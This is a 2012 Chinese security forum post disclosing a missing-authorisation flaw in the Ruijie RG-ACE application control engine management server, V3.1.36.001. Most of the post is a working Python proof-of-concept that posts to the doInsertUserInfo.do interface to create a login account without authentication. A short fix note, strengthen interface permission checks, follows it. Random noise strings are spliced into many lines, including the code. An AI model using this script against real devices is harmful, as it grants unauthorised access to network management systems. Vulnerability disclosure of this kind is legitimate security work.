找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2090|回复: 0
打印 上一主题 下一主题

锐捷应用控制引擎管理服务器可以增加用户

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:16:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
0 v0 h% i5 E) y) V$ b' B" c5 W% B
; ~4 |2 I2 B& m7 z2 v* A, s. S% H9 H0 @
测试的具体版本是. ?5 `# r4 @! K, F2 z8 O6 F+ G
产品名称: 锐捷应用控制引擎" ?. x9 c$ O7 w
版本号: 3.1.36.001 TC
$ B6 h' g# m; q; O! f编译时间: 2011042917306 @" ^, {6 j6 D, s% d; q5 v
+ c1 L/ `& p; }& \
: Q( M% d5 K! g" P: \3 ?( ]! V
漏洞证明:6 k9 \, ?( l5 P( E( |5 z
0 O* i7 y. ~  t, Y
" u6 M1 [" G4 q4 p9 b! i

+ R- y# _( g8 w: A8 V
3 A5 l2 ~: o- T3 L! r* i/ d0 ]8 o( t* X

# y* y6 y0 f0 y# U+ @' e8 \. h# X4 T执行脚本0 M. V! Y& B( l2 \/ v) K# E
#! /usr/bin/env python
9 m8 P' `" Y, z; S0 T1 l7 Z5 o#coding=gbk+ D6 m( u) i0 }7 H' L* i
#RG-ACE管理服务器 V3.1.36.001
2 E0 U4 C) }0 y9 c1 cimport urllib2, urllib,cookielib' `; N* y# Z* J7 w5 E: l) u7 m
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
2 i$ P: ]0 F2 q% }opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))9 H  K' E3 V+ ~1 Y+ G
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]5 l" I5 [3 _  n" j& |  L
post=(("event","userManager.doInsertUserInfo"),
& T4 |( O+ ?8 N("useractionname","addButtonValue"),
# Z; i) I; J$ }% t" q("useropermanager","userManager"),
6 |9 a2 U* v8 c9 d6 e- |- I("userName","t"), #######账号自己加
; p6 o- A; ?. o5 t) r+ l("pwd","aaaaaa"),######密码自己加! c: v$ W; c" ]% a9 y
("trueName","ad"),
, {/ ?$ G/ I8 E# c3 g("email",""),
" m* I1 I% v  a+ `" G("mobilePhone",""),% n4 y  A: S8 r* O# N1 c. h; l1 l# h! f
("officePhone",""),
- i' O1 J; J" [' C("addr",""),
* A% r: A- b: @, F: S% A' q("submit","确定"))
7 X. ^2 l0 j4 Hurllib2.install_opener(opener)
7 Z6 k& ?. E: K) z3 p% Z+ \p=urllib2.urlopen(url, urllib.urlencode(post)).read()/ v8 L: R4 n6 Q: W/ |4 \
print "Done"/ V  _, K8 K, X$ f9 o3 l! z6 C! Z& s
/ n- Z1 n8 X- [/ J( y/ ~6 y1 u
登录,连接设备
3 x, @' s9 h" G6 Y, @: A  \$ S5 j$ `! V' q. l
) C( ]  n" o7 G* l! w0 m

. ^* X7 V& @$ ?7 W% y' ^5 p/ r6 v/ a, q' I6 t9 ?

3 I- L7 }* p: A4 D5 y* |$ ^7 P默认的管理员admin权限更大点- f. G# W( i: I' [+ R# |

0 F& D: G& E9 \
/ o3 J0 g; P  K- t+ Q1 M/ ^# \5 M. i
6 \4 o3 Z  N& h% W- Z/ j7 J / F) Y" n8 q* \9 s8 n3 \# c& a

2 A- W# S+ w- u) D7 m: i2 p) L5 I修复方案:" I! T* U0 o3 i2 T) }
加强对接口的权限验证
8 C" K& e" Q% q
! u# T$ h7 m' ~+ B9 e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表